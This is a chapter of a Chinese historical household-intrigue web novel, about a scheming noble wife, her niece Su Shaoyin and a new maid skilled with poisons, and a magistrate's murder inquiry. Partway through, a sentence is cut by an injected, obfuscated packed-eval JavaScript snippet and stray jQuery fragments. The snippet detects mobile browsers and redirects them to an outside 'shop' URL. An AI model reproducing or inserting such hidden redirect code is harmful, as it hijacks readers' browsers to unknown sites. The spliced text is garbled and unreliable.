宋锦心摇头:“你祖母礼佛最是心诚,没十天半月她不会回来的。”
“那就想办法让她回来。”苏惟珍说道,“让琥珀给她娘带个口信,把表妹拿着祖母头面招摇的事情说给祖母听,她会回来的。”
宋锦心仍旧不太愿意,她是户部尚书嫡幼女,家里爹娘疼爱兄长姐姐迁就,出阁前活的肆意,当然嫁给苏起闻后,她也过得很好。
只人嘛多多少少都有些不称心的事情。
苏家如今被称颂是清流耕读人家,那是因为苏起闻这个宰相简在帝心,花花轿子人抬人,真要说起来,最早的时候苏家过得比宋锦心嘴里的泥腿子还不如。
庄稼人要供个读书人出来本就艰难,苏母又早早守了寡,又是下地劳作又是帮人浆洗衣服,苏起闻也常漏夜抄书,这才堪堪维持生计。
若不是苏惜月这个青梅家里资助盘缠助他上京赶考,哪有苏起闻的今日?
人都说穷人乍富会移了心性,苏母成了老封君后最讲究排场规矩,最喜欢看宋锦心这个高门儿媳在她面前做小伏低。
她当然不敢磋磨,但作为婆母让儿媳伺候梳洗布菜是规矩。
从前宋锦心娘家身份高,苏母不敢太过,一两月让苏锦心伺候一回摆摆老封君的谱便心满意足了,如今,苏起闻成了天子近臣,苏母面对宋锦心这个高门儿媳腰杆也直了起来,三五日就要她过去伺候。
若是年轻时的宋锦心必然受不得这委屈,保不齐包袱一卷就回娘家让父兄做主了,只如今有儿女牵绊,加之苏起闻已非吴下阿蒙,她只能收着性情殷切伺候着婆母,也就苏母去礼佛的时候她日子过得畅快些。
所以,她其实并不希望苏母马上回来的。
她轻叹口气:“虽说你祖母不会欢喜苏韶音这么大喇喇展示她的宝贝头面,但她也必然会怪罪我轻易将头面送人。”
苏惟珍皱眉:“苏韶音此举看着浅薄粗糙,却是不好破局啊。”
“破局的关键在你祖母身上。”宋锦心低叹,“可惜,谁都料不准你祖母回来针对的会是谁?”这话有些大逆不道,她是压着声音说的。
“对了,三公主应你邀约了吗?”
苏惟珍摇头:“从前她就不爱赴我的约,魏公子出事后,我写了两次帖子都石沉大海没个回信。”
“娘,舒妃娘娘不会真的把魏公子的事怪罪到我们身上吧?”她将声音压得极低,“那些悍匪是舒妃的人自己找的,跟咱们又没关系!”
“傻丫头,她便是知道魏公子身死是她手底下的人办事不利,但她必定迁怒,毕竟一开始是我出的主意啊。”苏锦心长长叹息一声。
“娘,那怎么办啊?”
苏锦心看向卢绘春,问道:“表姑娘当真连句话都没有私下与魏公子说过?”
“没有!”陆绘春回道,“两人才打个照面,魏公子就出了事。”
宋锦心沉吟了一会儿,说道:“你明日找机会取一件表姑娘的贴身物什过来。”
卢绘春心一紧,这活她干不了啊,“夫人,表姑娘很谨慎……”
“有曲嬷嬷给你遮掩,怕什么!”
见宋锦心皱眉,卢绘春连忙应下,如今是在府里,她应该,能办到的吧?
雎雪院收拾得干净整洁,窗子都用明纸重新糊过,院子里放了时新的花草盆栽,也移栽了几棵海棠树,从外头看,苏锦心这个当家夫人很用心了。
博古架上也都是华丽的摆件,只在懂行的人眼里,却都是些不值钱的玩意,也难为宋锦心花心思做这些表面功夫了。
“我这舅母,实在是个妙人。”
曲嬷嬷低头眼观鼻鼻观心,新主子这“妙人”二字绝不是夸奖!但她不敢问。
她不敢问,婢女也不敢问,正厅就安静了下来。
苏韶音食指划过玉松月夜听泉山子摆件,眼里的嘲讽几乎要满溢出来。
“姑娘,这玉山子摆件雕刻立体,层次分明,看着是用上好的白玉雕的。”婢女小心开口,“您,不喜吗?”
苏韶音收回手,“真正的玉松月夜听泉山子摆件自然价值不菲,但这座玉山子嘛。”尾音拖长,她看向曲嬷嬷,继续说道,“是用白矾石雕的。”
“你说,我该喜欢吗?”
托盘上宝石蝴蝶簪上的触须轻轻颤抖。
“嬷嬷抖什么?”苏韶音笑问,婢女也不解看过来。
曲嬷嬷头垂地更低,她抖什么?她是夫人从娘家带来的陪嫁,虽然不像卢绘春和胡芸那样受重用,但从前也拿过库房钥匙管过账的。
夫人陪嫁里有家做得很大的古玩铺子,这几年不知道为夫人挣了多少银子,那账本夫人从不让人经手,而这博古架上的摆件全部出自那家古玩铺子!
“嬷嬷知道这玉山子的来历?”
曲嬷嬷腿一软差点给苏韶音跪下,她不敢说也不能说!
苏韶音轻笑一声没有追问,曲嬷嬷若是这么经不住事她也不会把人留在身边了。
她看向婢女,问道:“你有名字吗?”婢女摇头。
“那你叫白苏,可好?”
“白苏。”婢女念了几遍用力点头,“好听,我很喜欢。”
苏韶音失笑:“那你以后就是白苏了,是雎雪院的一等丫鬟,只听命于我一人。”
“是,白苏领命。”
“劳曲嬷嬷去安排院子里的人手。”
曲嬷嬷一愣,她以为以苏韶音的性子会将雎雪院的人事掌握在自己手里的。
“是。”曲嬷嬷放下托盘福了福身,出去了。
苏韶音示意白苏端着托盘领着她去了内室。
“姑娘,我不懂内宅,但我也看出来了,您与夫人不是一条心的,夫人待您也只是面子情,曲嬷嬷是夫人的人,您怎么放权给她了?”白苏放下托盘好奇问道。
就像她自己说的那样,她不懂内宅,不然也不会这么直白地问主子问题,先不说主仆有别,她俩都还不熟呢。
好在苏韶音知道她的情况,并不在意她逾矩,还耐心解释道:“别说曲嬷嬷是夫人的人,这院子里除了你谁不是夫人的人?”她好舅母只给了人可没给身契。
“我呢,只要她们各司其职,让雎雪院正常运行就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480557|201710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好,而这个,曲嬷嬷出面比我出面有用多了。”
“您好像也不喜欢雎雪院这个名字?”
“名字挺好听的,只是有人加了层恶意。”
“是夫人吗?”
“是,害怕吗?”
“我不怕!”白苏昂起脑袋,“我就是从死人堆里爬出来的!夫人要想害您,我毒死她!”
苏韶音挑眉,万没有想到白苏是这样的性子,她看着白苏的眼睛,从里面看到了蓬勃的生机与不服输的倔强,与上一世她见到的古井无波全然不同。
很快她就想通了其中的关窍,现在白苏没有经历上一世的磨难没有被规训成婢女该有模样,她还是她自己,一个鲜活的新生的白苏。
“姑娘,谢谢您救了我。”
苏韶音笑看着她,“没我救你,你也能毒翻人市的管事逃出来吧?”
白苏摇头:“不能呢,我手里没毒药,人市每天早晚都搜身,连块馍都藏不住。”
苏韶音点头,人市那些管事的要是不谨慎,也不可能这么久了还稳稳当当开张着。
“这后宅有很多规矩,待会儿我让曲嬷嬷说给你听。”
“我一定守规矩!”
“规矩确实要守,但更多的,是要会用,甚至有时候要学会用规矩反制对手。”
白苏挠头表示不懂。
“不懂没关系,我说什么你做什么就好。”
“好!”白苏用力点头同时给了苏韶音一颗定心丸,“姑娘放心,我很聪明,很快就会学会学好的。”
苏韶音失笑,“除了用毒,你还会什么?”
白苏摇头:“不过我用毒很厉害,辨毒解毒也很厉害。”
苏韶音点头,问她:“那你喜欢吗?”
“喜欢的!我喜欢炼毒。”
“下次出门,我们去买些药材。”
白苏眼睛一亮:“姑娘,你要毒谁?”
“没谁!自保,防身!”
“哦!”声音里仿佛带着些失望。
说着话的功夫曲嬷嬷过来了,她福了福身,禀道:“姑娘,院子里一应事务都已经安排下去了,所有人都候在院子里,您要不要见一见?”
苏韶音站起来,“那就见见吧。”
日影渐渐西斜,大理寺卿娄长善放下案卷揉了揉眉心。
“大人,舒妃娘娘又派人来催魏公子案的进度了。”手持羽扇的师爷任平生拱手禀道。
娄长善问道:“仵作那里有新的进展吗?”
任平生摇头:“舒妃娘娘不准亵渎魏公子遗体,仵作只能做些表面检查。”
“只有一点,属下实在想不通。”任平生说道,“钝箭如何扎穿魏公子胸口的。”
“总不能那悍匪里有大力士吧?”
娄长善摇头,“是谋杀!”他说道。
任平生正想问为什么,就听衙役通禀:“大人,娄公子来了。”
“让他进来。”娄长善说道。
“爹!”青衣男子脚步轻快,脸上隐隐带着喜色,“我在北市看到了一个跟娘长得很像的姑娘!”